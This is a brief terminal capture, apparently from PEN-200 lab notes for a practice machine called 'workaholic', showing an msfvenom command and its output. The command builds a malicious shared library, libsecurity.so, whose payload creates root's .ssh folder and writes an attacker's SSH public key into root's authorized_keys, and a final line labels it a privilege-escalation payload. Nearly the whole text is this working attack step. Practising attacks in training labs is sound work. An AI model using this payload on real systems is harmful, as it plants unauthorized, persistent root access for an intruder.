msfvenom
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/workaholic]
└─$ msfvenom -p linux/x64/exec CMD='mkdir -p /root/.ssh; echo ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGoUoI9LYwEoMSDFaLZNQ51dLFNZf27nQjV7fooImm5g kali@kali > /root/.ssh/authorized_keys' -b "\x00" -f elf-so -o libsecurity.so
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
Found 3 compatible encoders
Attempting to encode payload with 1 iterations of x64/xor
x64/xor succeeded with size 223 (iteration=0)
x64/xor chosen with final size 223
Payload size: 223 bytes
Final size of elf-so file: 625 bytes
Saved as: libsecurity.so
Generating a SO payload for privilege escalation